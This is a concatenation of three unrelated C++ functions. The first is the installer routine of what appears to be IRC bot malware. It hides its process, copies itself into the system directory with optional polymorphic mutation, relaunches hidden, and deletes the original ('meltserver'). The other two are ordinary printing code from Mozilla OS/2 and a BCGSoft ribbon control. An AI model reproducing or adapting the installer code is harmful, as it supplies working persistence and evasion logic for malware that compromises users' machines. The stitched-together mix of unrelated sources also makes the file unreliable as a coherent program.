bool CInstaller::CopyToSysDir(CString &sFilename) { char tstr[MAX_PATH]; #ifdef WIN32 CString sysdir; GetSystemDirectory(sysdir.GetBuffer(MAX_PATH), MAX_PATH); m_sSysDir.Assign(sysdir.CStr()); CString cfilename; GetModuleFileName(GetModuleHandle(NULL), cfilename.GetBuffer(MAX_PATH), MAX_PATH); HINSTANCE kernel32_dll=LoadLibrary("kernel32.dll"); if(kernel32_dll) { fRegisterServiceProcess=(RSP)GetProcAddress(kernel32_dll, "RegisterServiceProcess"); fCreateToolhelp32Snapshot=(CT32S)GetProcAddress(kernel32_dll, "CreateToolhelp32Snapshot"); fProcess32First=(P32F)GetProcAddress(kernel32_dll, "Process32First"); fProcess32Next=(P32N)GetProcAddress(kernel32_dll, "Process32Next"); if(fRegisterServiceProcess) fRegisterServiceProcess(0, 1); } #else if(getuid()) { // We aren't root, use /tmp m_sSysDir.Assign("/tmp"); } else { // We are root, use /usr/sbin m_sSysDir.Assign("/usr/sbin"); } CString sysdir(m_sSysDir); CString cfilename(g_pMainCtrl->m_sArgv0); #endif // WIN32 #ifdef DBGCONSOLE g_cConsDbg.Log(5, "Checking for multiple copies...\n"); #endif // DBGCONSOLE if(!g_pMainCtrl->m_cCmdLine.m_cConfig.bUpdate && !g_pMainCtrl->m_cCmdLine.m_cConfig.bService) { unsigned long lStartTime=GetTickCount(); bool bFound=true; while((GetTickCount()-lStartTime) < 60000 && bFound) { if(GetCopies(sFilename)<2) bFound=false; Sleep(1000); } if(bFound) { #ifdef DBGCONSOLE g_cConsDbg.Log(5, "Found 2 copies, exiting...\n"); #endif // DBGCONSOLE exit(1); } } #ifdef DBGCONSOLE g_cConsDbg.Log(5, "First copy running...\n"); #endif // DBGCONSOLE long lTimeoutStart; if(!cfilename.Find(sFilename.CStr(), 0)) if(g_pMainCtrl->m_cCmdLine.m_cConfig.bUpdate) KillProcess(sFilename.CStr()); if(!cfilename.Find(sysdir, 0) || cfilename.Find("winhlpp32.exe", 0)) #ifdef LINUX if(!cfilename.Find(sFilename, 0)) #endif // LINUX { sprintf(tstr, "%s%c%s", sysdir.CStr(), DIRCHAR, sFilename.CStr()); lTimeoutStart=GetTickCount(); #ifdef DBGCONSOLE g_cConsDbg.Log(5, "Trying to copy to system directory...\n"); #endif // DBGCONSOLE // FIXME::BAD!!! #ifdef WIN32 if(g_pMainCtrl->m_pBot->inst_polymorph.bValue) { // Polymorph here CPolymorph cPoly; if(!cPoly.DoPolymorph(cfilename, tstr)) { // Fall back to copying if this didnt work while(CopyFile(cfilename, tstr, false)==false && GetTickCount()-lTimeoutStart < 25000) Sleep(2000); } else { while(CopyFile(cfilename, tstr, false)==false && GetTickCount()-lTimeoutStart < 25000) Sleep(2000); } } else { // Without Polymorph while(CopyFile(cfilename, tstr, false)==false && GetTickCount()-lTimeoutStart < 25000) Sleep(2000); } #else char szCmdBuf[MAX_PATH]; sprintf(szCmdBuf, "cp %s %s", cfilename.CStr(), tstr); system(szCmdBuf); #endif // WIN32 #ifdef DBGCONSOLE g_cConsDbg.Log(5, "Finished copying to system directory...\n"); #endif // DBGCONSOLE #ifndef _DEBUG #ifdef DBGCONSOLE g_cConsDbg.Log(5, "Starting new process...\n"); #endif // DBGCONSOLE if(g_pMainCtrl->m_pBot->bot_meltserver.bValue) { strncat(tstr, " -meltserver \"", sizeof(tstr)); strncat(tstr, cfilename.CStr(), sizeof(tstr)); strncat(tstr, "\"", sizeof(tstr)); } #ifdef WIN32 PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb = sizeof(sinfo); sinfo.wShowWindow = SW_HIDE; if(CreateProcess(NULL, tstr, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { exit(0); } #else sprintf(szCmdBuf, "%s 2>&1 > /dev/null 2>&1 &", tstr); system(szCmdBuf); exit(0); #endif // WIN32 #endif // _DEBUG } return true; }
NS_IMETHODIMP nsDeviceContextSpecOS2::GetSurfaceForPrinter(gfxASurface **surface) { NS_ASSERTION(mQueue, "Queue can't be NULL here"); nsRefPtr<gfxASurface> newSurface; PRInt16 outputFormat; mPrintSettings->GetOutputFormat(&outputFormat); // for now always set the output format to PDF, see bug 415522: printf("print output format is %d but we are setting it to %d (PDF)\n", outputFormat, nsIPrintSettings::kOutputFormatPDF); outputFormat = nsIPrintSettings::kOutputFormatPDF; mPrintSettings->SetOutputFormat(outputFormat); // save PDF format in settings if (outputFormat == nsIPrintSettings::kOutputFormatPDF) { nsXPIDLString filename; mPrintSettings->GetToFileName(getter_Copies(filename)); nsresult rv; if (filename.IsEmpty()) { // print to a file that is visible, like one on the Desktop nsCOMPtr<nsIFile> pdfLocation; rv = NS_GetSpecialDirectory(NS_OS_DESKTOP_DIR, getter_AddRefs(pdfLocation)); NS_ENSURE_SUCCESS(rv, rv); // construct a print output name using the current time, to make it // unique and not overwrite existing files char printName[CCHMAXPATH]; PRExplodedTime time; PR_ExplodeTime(PR_Now(), PR_LocalTimeParameters, &time); snprintf(printName, CCHMAXPATH-1, "%s_%04d%02d%02d_%02d%02d%02d.pdf", MOZ_APP_DISPLAYNAME, time.tm_year, time.tm_month+1, time.tm_mday, time.tm_hour, time.tm_min, time.tm_sec); printName[CCHMAXPATH-1] = '\0'; nsCAutoString printString(printName); rv = pdfLocation->AppendNative(printString); NS_ENSURE_SUCCESS(rv, rv); rv = pdfLocation->GetPath(filename); NS_ENSURE_SUCCESS(rv, rv); } #ifdef debug_thebes_print printf("nsDeviceContextSpecOS2::GetSurfaceForPrinter(): print to filename=%s\n", NS_LossyConvertUTF16toASCII(filename).get()); #endif double width, height; mPrintSettings->GetEffectivePageSize(&width, &height); // convert twips to points width /= TWIPS_PER_POINT_FLOAT; height /= TWIPS_PER_POINT_FLOAT; nsCOMPtr<nsILocalFile> file = do_CreateInstance("@mozilla.org/file/local;1"); rv = file->InitWithPath(filename); if (NS_FAILED(rv)) return rv; nsCOMPtr<nsIFileOutputStream> stream = do_CreateInstance("@mozilla.org/network/file-output-stream;1"); rv = stream->Init(file, -1, -1, 0); if (NS_FAILED(rv)) return rv; newSurface = new(std::nothrow) gfxPDFSurface(stream, gfxSize(width, height)); } else { int numCopies = 0; int printerDest = 0; char *filename = nsnull; GetCopies(numCopies); GetDestination(printerDest); if (!printerDest) { GetPath(&filename); } mPrintingStarted = PR_TRUE; mPrintDC = PrnOpenDC(mQueue, "Mozilla", numCopies, printerDest, filename); double width, height; mPrintSettings->GetEffectivePageSize(&width, &height); #ifdef debug_thebes_print printf("nsDeviceContextSpecOS2::GetSurfaceForPrinter(): %fx%ftwips, copies=%d\n", width, height, numCopies); #endif // we need pixels, so scale from twips to the printer resolution // and take into account that CAPS_*_RESOLUTION are in px/m, default // to approx. 100dpi double hDPI = 3937., vDPI = 3937.; LONG value; if (DevQueryCaps(mPrintDC, CAPS_HORIZONTAL_RESOLUTION, 1, &value)) hDPI = value * 0.0254; if (DevQueryCaps(mPrintDC, CAPS_VERTICAL_RESOLUTION, 1, &value)) vDPI = value * 0.0254; width = width * hDPI / 1440; height = height * vDPI / 1440; #ifdef debug_thebes_print printf("nsDeviceContextSpecOS2::GetSurfaceForPrinter(): %fx%fpx (res=%fx%f)\n" " expected size: %7.2f MiB\n", width, height, hDPI, vDPI, width*height*4./1024./1024.); #endif // perhaps restrict to usable area // (this or scaling down won't help, we will just get more pages and still crash!) if (DevQueryCaps(mPrintDC, CAPS_WIDTH, 1, &value) && width > (double)value) width = (double)value; if (DevQueryCaps(mPrintDC, CAPS_HEIGHT, 1, &value) && height > (double)value) height = (double)value; #ifdef debug_thebes_print printf("nsDeviceContextSpecOS2::GetSurfaceForPrinter(): capped? %fx%fpx (res=%fx%f)\n" " expected size: %7.2f MiB per page\n", width, height, hDPI, vDPI, width*height*4./1024./1024.); #endif // Now pass the created DC into the thebes surface for printing. // It gets destroyed there. newSurface = new(std::nothrow) gfxOS2Surface(mPrintDC, gfxIntSize(int(ceil(width)), int(ceil(height)))); } if (!newSurface) { *surface = nsnull; return NS_ERROR_FAILURE; } *surface = newSurface; NS_ADDREF(*surface); return NS_OK; }
void CBCGPRibbonBackstagePagePrint::UpdatePrinterProperties(BOOL bSaveAndValidate, BOOL bNotify/* = FALSE*/) { PRINTDLG* dlgPrint = GetPrintDlg(); ASSERT(dlgPrint != NULL); if (dlgPrint->hDevMode == NULL) { ASSERT(FALSE); return; } LPDEVMODE lpDevMode = (LPDEVMODE)::GlobalLock (dlgPrint->hDevMode); if (bSaveAndValidate) { if ((dlgPrint->Flags & PD_USEDEVMODECOPIESANDCOLLATE) == PD_USEDEVMODECOPIESANDCOLLATE) { if ((lpDevMode->dmFields & DM_COPIES) == DM_COPIES) { lpDevMode->dmCopies = GetCopies (); } if ((lpDevMode->dmFields & DM_COLLATE) == DM_COLLATE) { lpDevMode->dmCollate = (short)(m_wndCollate.GetCurSel () == 0 ? DMCOLLATE_TRUE : DMCOLLATE_FALSE); } } else { dlgPrint->nCopies = GetCopies (); if (m_wndCollate.GetCurSel () == 0) { dlgPrint->Flags |= PD_COLLATE; } else { dlgPrint->Flags &= ~PD_COLLATE; } } if ((lpDevMode->dmFields & DM_ORIENTATION) == DM_ORIENTATION) { lpDevMode->dmOrientation = (short)(m_wndOrientation.GetCurSel () == 0 ? DMORIENT_PORTRAIT : DMORIENT_LANDSCAPE); } if (m_wndPaper.GetCount () > 0) { //lpDevMode->dmPaperSize = m_Papers[m_wndPaper.GetItemData (m_wndPaper.GetCurSel ())].nPaper; lpDevMode->dmPaperSize = m_Papers[m_wndPaper.GetCurSel ()].nPaper; } CString strDeviceName (GetDeviceName ()); HANDLE hPrinter = OpenPrinterByName(strDeviceName); if (hPrinter != NULL) { ::DocumentProperties(NULL, hPrinter, (LPTSTR)(LPCTSTR)strDeviceName, lpDevMode, lpDevMode, DM_IN_BUFFER | DM_OUT_BUFFER); ::ClosePrinter (hPrinter); } } else { if ((dlgPrint->Flags & PD_USEDEVMODECOPIESANDCOLLATE) != 0) { SetCopies (lpDevMode->dmCopies, (lpDevMode->dmFields & DM_COPIES) == DM_COPIES); m_wndCollate.SetCurSel (lpDevMode->dmCollate == DMCOLLATE_TRUE ? 0 : 1); m_wndCollate.EnableWindow ((lpDevMode->dmFields & DM_COLLATE) == DM_COLLATE); } else { SetCopies (dlgPrint->nCopies, TRUE); m_wndCollate.SetCurSel ((dlgPrint->Flags & PD_COLLATE) == PD_COLLATE ? 0 : 1); m_wndCollate.EnableWindow (TRUE); } m_wndOrientation.SetCurSel (lpDevMode->dmOrientation == DMORIENT_PORTRAIT ? 0 : 1); m_wndOrientation.EnableWindow ((lpDevMode->dmFields & DM_ORIENTATION) == DM_ORIENTATION); int count = m_wndPaper.GetCount (); for (int i = 0; i < count; i++) { //if (lpDevMode->dmPaperSize == m_Papers[m_wndPaper.GetItemData (i)].nPaper) if (lpDevMode->dmPaperSize == m_Papers[i].nPaper) { m_wndPaper.SetCurSel (i); break; } } } ::GlobalUnlock (dlgPrint->hDevMode); if (bNotify) { if (m_wndPreview->GetSafeHwnd () != NULL) { m_wndPreview->ChangeSettings (); } } }